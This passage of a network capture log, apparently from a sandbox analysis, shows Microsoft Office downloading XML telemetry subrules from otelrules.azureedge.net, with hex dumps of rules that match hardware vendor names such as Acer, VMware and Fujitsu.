2024-11-23 10:22:08 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.4	49758	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 10:22:07 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 10:22:08 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:08 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 918e3103-701e-0097-4a7c-3bb8c1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T102208Z-174c587ffdfn4nhwhC1TEB2nbc00000002ug00000000cycd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 10:22:08 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.4	49755	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 10:22:07 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 10:22:08 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:08 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 686dd03c-b01e-005c-4d47-3c4c66000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T102208Z-15b8b599d88hr8sfhC1TEBbca400000002tg000000000g3t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 10:22:08 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.4	49754	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 10:22:07 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 10:22:08 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:08 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: b82db720-b01e-0053-528c-3acdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T102208Z-174c587ffdfp4vpjhC1TEBybqw00000002x0000000000895 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 10:22:08 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.4	49756	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 10:22:07 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 10:22:08 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:08 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 7fd471a5-f01e-00aa-27bf-3b8521000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T102208Z-15b8b599d886w4hzhC1TEBb4ug00000002rg00000000ezq0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 10:22:08 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.4	49760	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 10:22:10 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 10:22:10 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:10 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: e7bb18f6-501e-000a-54a9-3b0180000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T102210Z-174c587ffdf8lw6dhC1TEBkgs800000002tg00000000948n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 10:22:10 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.4	49761	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 10:22:10 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 10:22:10 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:10 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: 5931471e-001e-0046-7a23-3dda4b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T102210Z-178bfbc474bw8bwphC1NYC38b4000000041000000000dzx0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 10:22:10 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.4	49762	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 10:22:10 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 10:22:10 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:10 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 2b92647c-c01e-00a2-646f-3b2327000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T102210Z-174c587ffdf8lw6dhC1TEBkgs800000002v0000000004yzd x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 10:22:10 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.4	49763	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 10:22:10 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 10:22:10 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:10 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 90548f26-b01e-0021-643a-3ccab7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T102210Z-178bfbc474bw8bwphC1NYC38b40000000460000000005kz2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 10:22:10 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.4	49764	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 10:22:10 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 10:22:10 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:10 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: 70a27cfa-201e-0051-248c-3a7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T102210Z-174c587ffdfdwxdvhC1TEB1c4n00000002m000000000mb17 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 10:22:10 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.4	49766	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 10:22:12 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 10:22:12 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:12 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: c569ec8c-a01e-003d-0e22-3d98d7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T102212Z-178bfbc474bv7whqhC1NYC1fg400000004bg000000005ew0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 10:22:12 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.4	49767	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 10:22:12 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 10:22:12 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:12 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: ed298b8a-a01e-0002-322d-3c5074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T102212Z-178bfbc474bbbqrhhC1NYCvw7400000004kg000000001ag8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-23 10:22:12 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.4	49768	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 10:22:12 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
